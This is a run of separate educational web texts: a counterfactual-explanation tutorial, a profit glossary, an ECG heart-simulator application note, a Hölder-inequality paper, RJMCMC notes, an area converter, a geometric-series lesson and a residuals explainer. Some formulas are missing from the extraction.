In the context of machine learning, we can think of counterfactual instances from the training set for which we artificially change its features to change the model prediction. Changing features of a training example can be useful to interpret the behavior of the model.
Note that this implementation for creating counterfactuals is model agnostic and works with any scikit-learn estimators that support the predict (and ideally predict_proba) method.
In particular, the create_counterfactual implements the method described by Wachter et al. 2017 [1]. A good, short description of this method is also available in C. Molnar's Interpretable Machine Learning Book [2].
In short, Wachter et al.'s method minimizes the loss
The left term,
\lambda \cdot\left(\hat{f}\left(x^{\prime}\right)-y^{\prime}\right)^{2}
, minimizes the squared difference between the model prediction for the counterfactual
x'
\hat{f}\left(x^{\prime}\right)
, and the desired prediction (specified by the user),
y^{\prime}
\lambda
is a hyperparameter for weighting the importance of this left term over the second term,
d\left(x, x^{\prime}\right)
d\left(x, x^{\prime}\right)
, calculates the distance between a given instance
x
and a generated counterfactual
x'
. In short, the second term will keep the generated counterfactual similar to the instance. In contrast, the first term maximizes the difference between the model prediction for the counterfactual and the desired prediction (for example, a different class label).
The distance function is implemented as the absolute difference in each feature dimension scaled by the median absolute deviation (MAD):
The MAD measures the spread of a given feature, using the median as its center:
The general procedure for using the create_counterfactual function is as follows.
Select an instance that you want to explain and specify the desired prediction
y'
for this instance (this is usually different from its original prediction).
Choose a value for the hyperparameter
\lambda
Optimize the loss
L
using the create_counterfactual function
Optionally, as the authors recommend, you can repeat steps 2 and 3 by increasing
\lambda
until a user-defined threshold
\epsilon
is reached, i.e.,
\left|\hat{f}\left(x^{\prime}\right)-y^{\prime}\right|>\epsilon
\lambda
[1] Wachter, S., Mittelstadt, B., & Russell, C. (2017). Counterfactual explanations without opening the black box: Automated decisions and the GDPR. Harv. JL & Tech., 31, 841., https://arxiv.org/abs/1711.00399
[2] Christoph Molnar (2018). Interpretable Machine Learning, Chapter 6.1
For simplicity, this example illustrates how to use the create_counterfactual function to explain a data instance from the iris dataset.
Suppose we trained a logistic regression model on the iris dataset and pick the 16th training point for which we want to explain the prediction via counterfactuals.
clf = LogisticRegression()
x_ref = X[15]
print('True label:', y[15])
print('Predicted label:', clf.predict(x_ref.reshape(1, -1))[0])
print('Predicted probas:', clf.predict_proba(x_ref.reshape(1, -1)))
print('Predicted probability for label 0:', clf.predict_proba(x_ref.reshape(1, -1))[0][0])
True label: 0
Predicted label: 0
Predicted probas: [[9.86677291e-01 1.33226960e-02 1.28980184e-08]]
Predicted probability for label 0: 0.9866772910539873
We can see above, that there is a predicted score of 98.6% probability for a class 0 membership. Now, we are going to push the prediction towards class 2 by setting y_desired=2. Moreover, we set the probability for class 2 to 100% viay_desired_proba=1.
res = create_counterfactual(x_reference=x_ref,
y_desired=2,
X_dataset=X,
y_desired_proba=1.,
lammbda=1, # hyperparameter
random_seed=123)
print('Features of the 16th training example:', x_ref)
print('Features of the countefactual:', res)
print('Predictions for counterfactual:\n')
print('Predicted label:', clf.predict(res.reshape(1, -1))[0])
print('Predicted probas:', clf.predict_proba(res.reshape(1, -1)))
Features of the 16th training example: [5.7 4.4 1.5 0.4]
Features of the countefactual: [5.72271344 3.99169005 6.45305374 0.40000002]
Predictions for counterfactual:
As we can see above, the counterfactual is relatively similar to the original training example, i.e, only the 3rd feature has changed substantially (from 1.5 to 6.45). The predicted label has changed from class 0 t class 2.
Interpretation-wise, this means increasing the petal length of a Iris-setosa flower may make it more similar to a Iris-virginica flower.
This example is similar to Example 1; however, it is based on a 2D iris dataset containing only petal length and petal width features so that the results can be plotted via a decision region plot.
from mlxtend.plotting import plot_decision_regions
X = X[:, 2:]
LogisticRegression()
# Plotting decision regions
ax = plot_decision_regions(X, y, clf=clf, legend=2)
scatter_highlight_defaults = {'c': 'red',
'edgecolor': 'yellow',
'alpha': 1.0,
'linewidths': 2,
'marker': 'o',
's': 80}
ax.scatter(*X[15],
**scatter_highlight_defaults)
The big, highlighted point in the plot above shows the 16th training datapoint.
The following code will create a counterfactual with the same settings as in Example 1:
counterfact = create_counterfactual(x_reference=X[15],
y_desired_proba=1.0,
lammbda=1,
ax.scatter(*counterfact,
As we can see above, the counterfactual primarily moved along the x-axis (petal length) so that the prediction between the rerence point and the counterfactual changes from class 0 to class 2.
The following plots are based on repeating this procedure with different lambda values:
for i in [0.4, 0.5, 1.0, 5.0, 100]:
lammbda=i,
As we can see, the stronger the
\lambda
value, the more the first term in the loss
dominates.
Applying Wachter et al.'s threshold concept,
\lambda
\epsilon
\left|\hat{f}\left(x^{\prime}\right)-y^{\prime}\right|>\epsilon
\lambda
we can define a user-defined threshold and implement it as follows:
desired_class_2_proba = 1.0
for i in np.arange(0, 10000, 0.1):
y_desired_proba=desired_class_2_proba,
predicted_class_2_proba = clf.predict_proba(counterfact.reshape(1, -1))[0][2]
print('Initial lambda:', i)
print('Initial diff:', np.abs(predicted_class_2_proba - desired_class_2_proba))
if not np.abs(predicted_class_2_proba - desired_class_2_proba) > 0.3:
print('Final lambda:', i)
print('Final diff:', np.abs(predicted_class_2_proba - desired_class_2_proba))
Initial lambda: 0.0
Initial diff: 0.9999998976132334
Final lambda: 1.1
Final diff: 0.2962621523225484
create_counterfactual(x_reference, y_desired, model, X_dataset, y_desired_proba=None, lammbda=0.1, random_seed=None)
Implementation of the counterfactual method by Wachter et al.
Wachter, S., Mittelstadt, B., & Russell, C. (2017). Counterfactual explanations without opening the black box: Automated decisions and the GDPR. Harv. JL & Tech., 31, 841., https://arxiv.org/abs/1711.00399
x_reference : array-like, shape=[m_features]
The data instance (training example) to be explained.
y_desired : int
The desired class label for x_reference.
model : estimator
A (scikit-learn) estimator implementing .predict() and/or predict_proba(). - If model supports predict_proba(), then this is used by default for the first loss term, (lambda * model.predict[_proba](x_counterfact) - y_desired[_proba])^2 - Otherwise, method will fall back to predict.
X_dataset : array-like, shape=[n_examples, m_features]
A (training) dataset for picking the initial counterfactual as initial value for starting the optimization procedure.
y_desired_proba : float (default: None)
A float within the range [0, 1] designating the desired class probability for y_desired. - If y_desired_proba=None (default), the first loss term is (lambda * model(x_counterfact) - y_desired)^2 where y_desired is a class label - If y_desired_proba is not None, the first loss term is (lambda * model(x_counterfact) - y_desired_proba)^2
lammbda : Weighting parameter for the first loss term,
(lambda * model(x_counterfact) - y_desired[_proba])^2
random_seed : int (default=None)
If int, random_seed is the seed used by the random number generator for selecting the inital counterfactual from X_dataset.
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Profit - Vocabulary - Course Hero
Microeconomics/Profit/Vocabulary
the amount left over from total revenue once explicit cost is subtracted
\text{AP}=\text{TR}-\text{EC}
the value of resources given up in order to produce a good or service
the amount left over from total revenue once explicit and implicit costs are subtracted
\text{Economic Profit}=\text{TR}-(\text{Explicit Cost}+\text{Implicit Cost})
cost involving monetary payment
the opportunity cost that occurs from allocation of resources for a specific purpose, which cannot easily be assigned a monetary value
the amount left over from total revenue once total cost (however defined) is subtracted
(\text{P}-\text{ATC})\times\text{Q}
the amount received by producers when selling output
\text{TR}=\text{P}\times\text{Q}
<Overview>Explicit versus Implicit Costs
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Demonstration of the human heart model and how it can be used to HIL-test biomedical device performance in a heart with different medical conditions.
Biomedical devices must respect stringent criteria to make them safe, effective, and robust before they can be tested in the field by implanting them in a living being. In these contexts, real-time simulators combined with Hardware-in-the-loop methodologies permit us to validate and improve algorithms before the field-testing stage, greatly reducing the risk to test patients. Among the variety of devices, this application note focuses on those connected to the heart. A model of a human heart is implemented using the equations described originally in Ryzhii et al [1] and reorganized to be deployed in the HIL402 Hardware in the Loop simulator. By adjusting the parameters of the equations, it is possible to alter the output signal's characteristics, allowing simulation of different cardiac conditions, such as a heart affected by tachycardia, bradycardia, and/or atrial fibrillation.
This model's objective is to be a reference framework for the development and testing of biomedical devices that have to interact with the human heart (such as pacemakers, ECG analyzers, etc.). The result is a powerful simulator (the functional architecture is shown in Figure 1) which is easy to use and configure for several purposes, such as the one described in Di Mascio et al [2].
Figure 1. Functional architecture of the proposed framework
The heart is one of the most essential organs in the human body, and therefore is very well studied. Its behavior is the result of an intelligent combination of electrical phenomena. From the point of view of mathematical equations, it can be compared to an oscillator that by acting on the heart tissues allows blood to pump. Electrical signals stimulate the tissues starting from the sinoatrial node (SN), which is in the right atrium at the superior vena cava. When the signal propagates, a contraction occurs. The electrical impulse then reaches the atrioventricular (AV) node, which sends stimulation to the lower heart chambers (the ventricles), contracting them and pumping blood. Afterwards, the SN node sends another signal to the atria and the process begins again.
The equations describing the whole behavior are reported in [1] and [2] and describe the heart's conduction system as three natural pacemakers based on modified van der Pol's equations with a unidirectional time-delay velocity coupling.
Figure 2. Typhoon HIL schematic of the conduction dynamic in the Heart Signal Processing toolbox.
Figure 2 reports the dynamic conduction schematic, starting from the left with the SinoAtrial (SN) node connected to the atrioventricular node (AV). The equations are delayed differential equations (DDEs) with constant delays.
The second system of equations represents the ECG's waves, as shown in Figure 3. The terms constitute the link between the two parts of the mathematical model where IATDE, IATRE IVNDE, and IVNRE represent the ionic currents. Combining the AT and VN muscles' results as reported in Figure 4 shows it is possible to reconstruct the whole ECG.
Figure 3. Typhoon HIL Schematics for the generation of the ECG components.
The tentative parameters of the model are defined in [1]
Scaling coefficients:
{k}_{1}=2x{\mathrm{10}}^{3}
{k}_{2}=4x{\mathrm{10}}^{2}
{k}_{3}={\mathrm{10}}^{4}
{k}_{4}=2x{\mathrm{10}}^{3}
Parameters defining the amplitude of a pulse:
{c}_{1}=0.26
{c}_{2}=0.26
{c}_{3}=0.12
{c}_{4}=0.1
Parameters changing the rest state and dynamics:
{b}_{1}=0.0
{b}_{2}=0.0
{b}_{3}=0.015
{b}_{4}=0.0
Parameters controlling the hyperpolarization of the excitation variable:
{d}_{1}=0.4
{d}_{2}=0.4
{d}_{3}=0.09
{d}_{4}=0.1
Parameters representing excitability and controlling the abruptness of activation and the duration of the action potential:
{h}_{1}=0.04
{h}_{2}=0.02
{h}_{3}=0.08
{h}_{4}=0.08
{g}_{1}=1.0
{g}_{2}=1.0
{g}_{3}=1.0
{g}_{4}=1.0
Parameters controlling excitation Threshold:
{w}_{\mathrm{11}}=0.13
{w}_{\mathrm{21}}=0.19
{w}_{\mathrm{31}}=0.12
{w}_{\mathrm{41}}=0.22
Parameters controlling excited state:
{w}_{\mathrm{12}}=1.0
{w}_{\mathrm{22}}=1.0
{w}_{\mathrm{32}}=1.1
{w}_{\mathrm{42}}=0.8
Coupling coefficient for P wave:
{K}_{\mathrm{ATDe}}=4x{\mathrm{10}}^{-5}
Coupling coefficient for Ta wave:
{K}_{\mathrm{ATRe}}=4x{\mathrm{10}}^{-5}
Coupling coefficient for QRS complex:
{K}_{\mathrm{VNDe}}=9x{\mathrm{10}}^{-5}
Coupling coefficient for T wave:
{K}_{\mathrm{VNRe}}=6x{\mathrm{10}}^{-5}
Figure 4. Typhoon HIL Schematics for generating the ECG signal
Max. matrix memory utilization 0.02%
Simulation step, electrical 0.5µs
This application comes with a pre-built SCADA panel. It offers the most essential user interface elements (widgets) to monitor and interact with the simulation at runtime, allowing you to further customize it according to your needs.Figure 5 shows the SCADA used for the control of simulation and to check the results. There are three subpanels inside. On the left, the first one allows for changing the value of parameter
{f}_{1}
(described in [2]). This parameter controls the SN node's pulse rate: the higher the parameter, the higher the heartbeat frequency. At simulation start, the SCADA panel will propose default physiological conditions. Changing the SCADA parameters will modify how the heart works. The colors and messages displayed say in which region the heart is working. In the lower panel, the scope shows the ECG waveform, reproducing the selected condition. The reconstructed ECGs are coherent with the main ECG features, but fine-tuning the model parameters is needed to fit the physiological data.
Figure 5. Heart SCADA panel.
Figure 6. Bradycardia. Setting the
{f}_{1}
parameter lower than 18 causes the model to emulate Bradycardia.
On the right side, the panel allows for simulation of atrial defects. Atrial fibrillation (AF) is an abnormal and irregular heart rhythm in which electrical signals are generated chaotically throughout the upper atria (chambers) of the heart. In the presence of AF, the sinoatrial node in the right atrium produces disorganized impulses, causing irregular conduction of the ventricular impulses that generate heartbeats. To do this, we act on four parameters:
the P-wave is set to 0;
{f}_{3}
, which controls the amplitude of pulsation in the HP fiber, is reduced (
{f}_{3}=1
{a}_{3}
, which is the pacemaker's damping coefficient, is also reduced (
{a}_{3}=45
) to prolong the swing;
{k}_{4}=100
is set to reduce the amplitude of the T wave in the ECG.
The generated wave, including the ECG, are also reproduced as a physical signal by the HIL hardware.
Figure 7. Heart Physical Experiment: The waveform reproduced as an external signal can be used to test biomedical devices.
Typhoon HIL files examples\models\medical devices\heart model heart\ model .tse heart model .cus, etc.
[1] Ryzhii, E.; Ryzhii, M. A heterogeneous coupled oscillator model for simulation of ECG signals. Comput. Methods Programs Biomed. 2014, 117, 40–49.
[2] Di Mascio, C.; Gruosso, G. Hardware in the Loop Implementation of the Oscillator-based Heart Model: A Framework for Testing Medical Devices. Electronics, 2020, 9, 571. https://doi.org/10.3390/electronics9040571
[1] Prof. Giambattista Gruosso, [email protected]
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A New Reversed Version of a Generalized Sharp Hölder's Inequality and Its Applications
Jingfeng Tian, Xi-Mei Hu, "A New Reversed Version of a Generalized Sharp Hölder's Inequality and Its Applications", Abstract and Applied Analysis, vol. 2013, Article ID 901824, 9 pages, 2013. https://doi.org/10.1155/2013/901824
Jingfeng Tian1 and Xi-Mei Hu1,2
1College of Science and Technology, North China Electric Power University, Baoding 071000, China
2China Mobile Group Hebei Co., Ltd., Baoding 071000, China
Academic Editor: Pekka Koskela
We present a new reversed version of a generalized sharp Hölder's inequality which is due to Wu and then give a new refinement of Hölder's inequality. Moreover, the obtained result is used to improve the well-known Popoviciu-Vasić inequality. Finally, we establish the time scales version of Beckenbach-type inequality.
The classical Hölder's inequality states that if , , , and , then The inequality is reversed for (), (for , we assume that ).
As is well known, Hölder's inequality plays an important role in different branches of modern mathematics such as classical real and complex analysis, probability and statistics, numerical analysis, and qualitative theory of differential equations and their applications. Various refinements, generalizations, and applications of inequality (1) and its series analogues in different areas of mathematics have appeared in the literature. For example, Abramovich et al. [1] presented a new generalization of Hölder's inequality and its reversed version in discrete and integral forms. Ivanković et al. [2] presented the properties of several mappings which have arisen from the Minkowski inequality and then gave some refinements of the Hölder inequality. Liu [3] obtained Hölder's inequality in fuzzy set theory and rough set theory. Nikolova and Varošanec [4] obtained some new refinements of the classical Hölder inequality by using a convex function. For detailed expositions, the interested reader may consult [1–18] and the references therein.
Among various refinements of (1), Hu in [9] established the following interesting sharpness of Hölder's inequality.
Theorem A. Let , , let , , and , and let , . Then,
In 2007, Wu [18] presented the generalization of Hu's result as follows.
Theorem B. Let , , let , and let , . Then,
Theorem C. Let , , and be integrable functions defined on and , , for all , and let , . Then,
Recently, Tian in [13] proved the following reversed versions of inequalities (3) and (4).
Theorem D. Let , , let , and let , , , . Then,
Theorem E. Let , , and be integrable functions defined on and , , and for all , and let , , . Then,
The aim of this paper is to give new reversed versions of (3) and (4). Moreover, two applications of the obtained results are presented. The rest of this paper is organized as follows. In Section 2, we present reversed versions of (3) and (4). Moreover, we give a new refinement of Hölder's inequality. In Section 3, we apply the obtained result to improve the Popoviciu-Vasić inequality. Furthermore, we establish the time scales version of Beckenbach-type inequality.
2. A New Reversed Version of a Generalized Sharp Hölder's Inequality
In order to prove the main results, we need the following lemmas.
Lemma 1 (see, e.g., [11, page 12]). Let , . If , , then
Lemma 2 (see [19, page 12]). If , , or , then The inequality is reversed for .
Lemma 3 (see [7, page 27]). If , , , and , then The inequality is reversed for or .
Next, we give a reversed version of inequality (3) as follows.
Theorem 4. Let , , let , and let , , . Then,
Proof. We first consider the case . On one hand, performing some simple computations, we have
On the other hand, by using inequality (9), we have By using inequality (7), we have
Consequently, according to , by using inequality (7) on the right side of (13), we observe that Combining inequalities (12) and (14) leads to inequality (10) immediately.
Secondly, we consider the case (II) . Let , which implies that . From Hölder's inequality and (7), we have Additionally, using Lemma 3 together with , we find
Combining inequalities (11), (15), and (16) leads to inequality (10) immediately.
From Theorem 4 and Lemma 2, we obtain the refinement of Hölder's inequality (1) as follows.
Corollary 5. Let , , let , and let , , and . Then,
Proof. Since by using Lemma 2 and Theorem 4, we obtain the assertion of the corollary. The proof of Corollary 5 is completed.
Now, we give a reversed version of inequality (4) as follows.
Theorem 6. Let , , and be integrable functions defined on and , , for all , and let , . Then,
Proof. For any positive integer , we choose an equidistant partition of as follows:
Applying Theorem 4, we obtain the following inequality: equivalently
In view of the hypotheses that , , and are positive Riemann integrable functions on , we conclude that , , and are also integrable on . Passing the limit as in both sides of inequality (22), we obtain inequality (19). The proof of Theorem 6 is completed.
Remark 7. Making similar technique as in the proof of Corollary 5, from Theorem 6 we obtain
Firstly, we provide an application of the obtained result to improve the Popoviciu-Vasić inequality. In 1956, Aczél [20] established the following inequality.
Theorem F. If , are positive numbers such that or , then
Inequality (24) is the well-known Aczél's inequality, which has many applications in the theory of functional equations in non-Euclidean geometry. Due to the importance of Aczél's inequality, this inequality has been given considerable attention by mathematicians and has motivated a large number of research papers involving different proofs, various generalizations, improvements and applications (see, e.g., [21–24] and the references therein).
One of the most important results in the references mentioned above is the exponential generalization of (24) asserted by Theorem G.
Theorem G. Let and be real numbers such that and , and let , be positive numbers such that and . Then, for , one has If , one has the reverse inequality.
Remark 8. The case of Theorem G was proved by Popoviciu [21]. The case was given in [24] by Vasić and Pečarić.
Now, we give a refinement of inequality (25) by Theorem 4 and Theorem B.
Theorem 9. Let , , and , let , and let , . Then, for , one has If , , one has
Proof. By substituting in (3) and (10), respectively, we get Theorem 9.
Remark 10. Let , , and let . If , then we conclude from Theorem 9: Inequality (29) is reversed for .
Next, we are to establish the time scales version of Beckenbach-type inequality which is due to Wang [25]. In 1983, Wang [25] established the following Beckenbach-type inequality.
Theorem H. Let , and be positive integrable functions defined on , and let . If , then, for any of the positive numbers: , , or , the inequality holds, where . The sign of inequality in (30) is reversed if .
In order to present the time scales version of (30), we recall the following concepts related to the notion of time scales. A time scale is an arbitrary nonempty closed subset of the real numbers . The forward jump operator and the backward jump operator are defined by (supplemented by and ). A point is called right scattered, right dense, left scattered, and left dense if , , , and hold, respectively.
A function is said to be rd-continuous if it is continuous at each right dense point and if the left-sided limit exists at every left dense point. The set of all rd-continuous functions is denoted by .
Let Let be a function defined on . Then is called differentiable at , with (delta) derivative if given ; there exists a neighbourhood of such that for all .
Remark 11. If , then becomes the usual derivative; that is, . If , then reduces to the usual forward difference; that is, .
A function is called an antiderivative of provided that holds for all . In this case, we define the integral of by where .
Remark 12. If , then the time scale integral is an ordinary integral. If , then the time-scale integral is a sum.
For more details on time scales theory, the readers may consult [26–29] and the references therein. Now, we present the time scales version of (30) by using Corollary 5.
Theorem 13. Let , and , where denotes the set of rd-continuous functions defined by and α(t) is an rd"-" continuous function} and let . If , then, for any of the positive numbers , , or , the inequality holds, where . The sign of inequality in (35) is reversed if .
Proof. We only consider the case . Noting that , the left-hand side of (35) becomes On the other hand, by using Hölder's inequality and inequality (17) for , , we obtain
Combining inequalities (36) and (38) yields inequality (35). The proof of Theorem 13 is completed.
In (35), taking, from Theorem 13 we obtain the time scales version of Beckenbach-type inequality as follows.
Corollary 14. Let and , and let . If , then, for any of the positive numbers , , or , the inequality holds, where . The sign of inequality in (39) is reversed if .
This work was supported by the NNSF of China (Grant no. 61073121), the Natural Science Foundation of Hebei Province of China (Grant no. F2012402037), the Natural Science Foundation of Hebei Education Department (Grant no. Q2012046), and the Fundamental Research Funds for the Central Universities (Grants nos. 11ML65 and 13ZL). The authors would like to express their sincere thanks to the anonymous referees for their great efforts to improve this paper.
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Copyright © 2013 Jingfeng Tian and Xi-Mei Hu. This is an open access article distributed under the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited.
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RJMCMC - Monte-Carlo
Green's algorithm
Fixed Dimension Reassessment
RJMCMC for change points
\begin{aligned} p(y\mid x) &= \sum_{i=1}^n\log\{x(y_i)\}-\int_0^Lx(t)dt\\ &= \sum_{j=1}^km_j\log h_j-\sum_{j=0}^kh_j(s_{j+1}-s_j) \end{aligned}
m_j=\#\{y_i\in[s_j,s_{j+1})\}
h_0,h_1,\ldots,h_k
at random, obtaining
h_j
propose a change to
h_j'
\log(h_j'/h_j)\sim U[-\frac 12, \frac 12]
the acceptance probability is
\begin{aligned} \alpha(h_j, h_j') &=\frac{p(h_j'\mid y)}{p(h_j\mid y)}\times \frac{J(h_j\mid h_j')}{J(h_j'\mid h_j)}\\ &= \frac{p(y\mid h_j')}{p(y\mid h_j)}\times\frac{\pi(h_j')}{\pi(h_j)}\times\frac{J(h_j\mid h_j')}{J(h_j'\mid h_j)}\,. \end{aligned}
\log\frac{h_j'}{h_j}= u \,,
it follows that the CDF of
h_j'
F(x) = P(h_j'\le x) = P(e^uh\le x) = P(u\le \log(x/h)) = \log(x/h) + 1/2
f(x) = F'(x) = \frac{1}{x}\,,
J(h_j'\mid h_j) = \frac{1}{h_j'}\,.
\begin{aligned} \alpha(h_j,h_j') &= \frac{p(y\mid h_j')}{p(y\mid h_j)}\times \frac{(h_j')^{\alpha}\exp(-\beta h_j')}{h_j^\alpha\exp(-\beta h_j)}\\ &=\text{likelihood ratio}\times (h_j'/h_j)^\alpha\exp\{-\beta(h_j'-h_j)\} \end{aligned}
P Move
Draw one of
s_1,s_2,\ldots,s_k
at random, obtaining say
s_j
s_j'\sim U[s_{j-1}, s_{j+1}]
\begin{aligned} \alpha(s_j,s_j') &=\frac{p(y\mid s_j')}{p(y\mid s_j)}\times \frac{\pi(s_j')}{\pi(s_j)}\times \frac{J(s_j\mid s_j')}{J(s_j'\mid s_j)}\\ &=\text{likelihood ratio}\times \frac{(s_{j+1}-s_j')(s_j'-s_{j-1})}{(s_{j+1}-s_j)(s_j-s_{j-1})} \end{aligned}
\pi(s_1,s_2,\ldots,s_k)=\frac{(2k+1)!}{L^{2k+1}}\prod_{j=0}^{k+1}(s_{j+1}-s_j)
Birth Move
s^*
uniformly distributed on
[0,L]
, which must lie within an existing interval
(s_j,s_{j+1})
w.p 1.
Propose new heights
h_j', h_{j+1}'
for the step function on the subintervals
(s_j,s^*)
(s^*,s_{j+1})
. Use a weighted geometric mean for this compromise,
(s^*-s_j)\log(h_j') + (s_{j+1}-s^*)\log(h_{j+1}')=(s_{j+1}-s_j)\log(h_j)
and define the perturbation to be such that
\frac{h_{j+1}'}{h_j'}=\frac{1-u}{u}
u
drawn uniformly from
[0,1]
The prior ratio, becomes
\frac{p(k+1)}{p(k)}\frac{2(k+1)(2k+3)}{L^2}\frac{(s^*-s_j)*(s_{j+1}-s^*)}{s_{j+1}-s_j}\times \frac{\beta^\alpha}{\Gamma(\alpha)}\Big(\frac{h_j'h_{j+1}'}{h_j}\Big)^{\alpha-1}\exp\{-\beta(h_j'+h_{j+1}'-h)\}
the proposal ration becomes
\frac{d_{k+1}L}{b_k(k+1)}
and the Jacobian is
\frac{(h_j'+h_{j+1}')^2}{h_j}
s_{j+1}
is removed, the new height over the interval
(s_j',s_{j+1}')=(s_j,s_{j+2})
h_j'
, the weighted geometric mean satisfying
(s_{j+1}-s_j)\log(h_j) + (s_{j+2}-s_{j+1})\log(h_{j+1}) = (s_{j+1}'-s_j')\log(h_j')
The acceptance probability for the corresponding death step has the same form with the appropriate change of labelling of the variables, and the ratio terms inverted.
The histogram of number of change points is
And we can get the density plot of position (or height) conditional on the number of change points
k
, for example, the following plot is for the position when
k=1,2,3
Green, P. J. (1995). Reversible jump Markov chain Monte Carlo computation and Bayesian model determination. Biometrika, 82(4), 711–732.
Sisson, S. A. (2005). Transdimensional Markov Chains: A Decade of Progress and Future Perspectives. Journal of the American Statistical Association, 100(471), 1077–1089.
Peter Green's Fortran program AutoRJ
David Hastie's C program AutoMix
Ai Jialin, Reversible Jump Markov Chain Monte Carlo Methods. MSc thesis, University of Leeds, Department of Statistics, 2011/12.
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Square Feet Converter | Square Footage
Squaring up the foot
Not only square meters: convert square feet to any surface measurement unit
How to use our square feet converter
Square feet are a handy area measurement unit; however, our square feet converter is here to help you if you need to calculate how many square meters or square inches correspond to a specific square footage.
What is a foot;
What is a square foot, and where does it come from;
How to convert square feet to square meters, and beyond; and
Some examples of the use of our square footage converter.
You will always land on your (square) feet if you use our square feet converter to calculate your surface measurements!
A foot is both the last bit of your leg and a length measurement unit. The foot derived from Egyptian measurement units like the cubit and quickly spread through Europe.
A chaotic period ensued until the 17th century when the process of metrication began. Many countries gradually abandoned feet, inches, and yards to adopt the meter and its multiples.
Surface measurement units often come from a simple multiplication of length measurement units. Our foot then becomes a square foot, a unit that describes a square with sides exactly
1\ \text{ft}
🔎 Not every surface measurement unit comes from squared length units. Acres, morgens, or the Italian giornata piemontese uses the amount of work that a man can do in a specified time to define an area.
To visualize one square foot, imagine a big bathroom-type flooring tile. A MacBook Pro 16 is slightly smaller than one square foot, too.
When writing down a measurement, we indicate the square foot with the notation sq. ft. You can also use alternative notations, like ft², sf, or '².
To convert square footage to any other surface measurement unit, we need to apply specific rules. Some of them are easier, some of them not so much. Let's check the most important ones out:
Square foot to square inches:
1\ \text{sq. ft} = 144\ \text{sq. in}
1\ \text{ft} = 12\ \text{inches}
Square foot to square yard:
1\ \text{sq. ft} = 0.111111\ \text{sq. yd}
1\ \text{yd} = 3\ \text{ft}
Square foot to square meter:
1\ \text{sq. ft} = 0.092903\ \text{m}^2
1\ \text{ft} = 0.3048\ \text{m}
Many others conversions to metric units use the powers of ten. These give results similar to the last item, for example:
Square foot to square decimeter
1\ \text{sq. ft} = 9.2903\ \text{dm}^2
Square foot to square centimeter
1\ \text{sq. ft} = 929.03\ \text{cm}^2
Square foot to square millimeter
1\ \text{sq. ft} = 92903\ \text{mm}^2
Let's say that you want to know how many square meters your apartment is, but you only know the measurement in square feet.
Our square footage converter will do the math for you. Choose the desired output measurement units as the lower variable (in this case, square meters), and input your measurement above. Let's say that your apartment measures
800\ \text{sq. ft}
800\ \text{sq. ft} = 800\cdot 0.092903\ \text{m}^2 = 74.3224\ \text{m}^2
🙋 Use our square footage converter in the opposite direction too: insert a value in square meters to find the conversion in square feet!
Don't get cold feet thinking about area conversion: we've got your back. Try our other converters at Omni Calculator!
A square foot is the customary area measurement unit in the U.S. It corresponds to the area of a square with sides 1 ft long. The unit is commonly used in the measurement of apartments and living areas. A standing person occupies an area of about 2 sq. ft.
A square foot corresponds exactly to 144 square inches. This number comes from the subdivision of the foot as a length measurement unit:
Draw a square with sides 12 in long: its surface would be 12 × 12 = 144 in².
To convert 100 sq. ft to square meters, apply the conversion:
1 sq. ft = 0.092903 m²
To find the value of that surface, multiply the conversion factor by the measurement:
100 sq. ft = 100 × 0.092903 m² = 9.2903 m².
Is square foot and foot the same thing?
No. Square foot and foot are measurement units for objects with different dimensionalities.
The foot is a length measurement unit and only deals with 1D objects (lines, segments, curves); and
The square foot is an area measurement unit used exclusively to measure 2D objects (polygons, surfaces).
Million to thousand converter lets you convert any quantity in a million to thousand or the other way around.
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Infinite Sums - Global Math Week
1 \leftarrow x
And let’s use this machine compute this strange division problem:
\dfrac {1} {1-x}
This is the very simple polynomial
1
, which looks like this
1-x
, which looks like this, one antidot and one dot.
Do you see any one-antidot-and one-dot pairs in the picture of just
1
? Nope!
If there is something in life you want, make it happen! (And deal with the consequences.)
Can we make antidiot-dot pairs appear in the picture? In fact, wouldn’t it be nice to have an antidot to the left of the one dot we have?
And to keep that box technically empty we need to add a dot as well. That gives us one copy of what we want.
In fact, we can see we’ll be doing this forever!
How do we read this answer?
Well, we have one
1
, and one
x
x^{2}
x^{3}
, and so on. We have
\dfrac {1} {1-x} = 1+x+x<sup>{2}+x</sup>{3}+x^{4}+...
The answer is an infinite sum.
The equation we obtained is a very famous formula in mathematics. It is called the geometric series formula and it is often given in many upper-level high school text books for students to use. But textbooks often write the formula the other way round, with the letter
rather than the letter
x
1+r+r<sup>{2}+r</sup>{3}+r^{4}+... = \dfrac {1} {1-r}
In a calculus class, one might say we’ve just calculated the Taylor series of the rational function
\dfrac {1} {1-x}
That sounds scary! But the work we did with dots-and-boxes shows that is not at all scary. In fact, it all kind of fun!
Here are some questions for you to try if you want.
Use dots-and-boxes to show that
\dfrac {1} {1+x}
1-x+x<sup>{2}-x</sup>{3}+x^{4}-...
\dfrac {x} {1-x^2}
. Do you get a sum of odd powers of
x
This next question is really cool! I advise you to draw very big boxes when you draw your dots and boxes picture. (The number of dots you need grows large quite quickly.)
\dfrac {1} {1-x-x^2}
and discover the famous Fibonacci sequence!
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What Is a Residual in Stats? | Outlier
What Is a Residual in Stats?
This article gives a quick definition of what’s a residual equation, the best way to read it, and how to use it with proper statistical models.
Example and Practice Finding Residuals
Concept of Linear Association and Linear Regression
Residuals and Linear Regressions
Summary and Applications of Residuals
A residual (or error) is the difference between the predicted value of your data and the actual value of your data. Often we denote a residual with the lower case letter
e
Calculating residuals is easy. You can find residuals using the following equation.
e = y - ŷ
e
is the residual for a given observation of a variable
y
is the actual or observed value of
y
ŷ
is the predicted value of
y
The following table contains a data set with the weight and height of ten individuals. Then, we’ve plotted the data on a scatter plot with weight on the horizontal axis (the x-axis) and height on the vertical axis (the y-axis).
Weight (x) Height (y)
In statistics, you will often use a model to approximate the relationship between two variables. This model could take the form of a line (a linear model) or a curve (a non-linear model).
In this example, we’ll use a linear model to approximate the relationship between the weights and heights in our data set (the linear model is represented by the green line in the figure below).
Using this model, we can now estimate a person’s height given their weight. For example, if we know a person weighs 132 lbs, our model estimates 63 inches or 5 ft 3 inches for the person’s height.
Notice that the model does not perfectly line up with the data. If it did, every point on the scatter plot would fall directly on the line, and the predictions of the model would match the data perfectly. Instead, we see a discrepancy between the data and the heights predicted by the model.
For example, take a look at the actual and predicted heights associated with a weight of 138 lbs. Our model predicts that a person weighing 138 lbs will be 64 inches tall, but the data shows a person weighing 138 lbs who is only 61 inches tall.
For any given weight, the difference between the actual height we observe in the data (
y
) and the predicted height given by the model (
ŷ
) is what we call the residual. For the observed data point (138, 61), the residual is
y-ŷ
= 61-64 = -3.
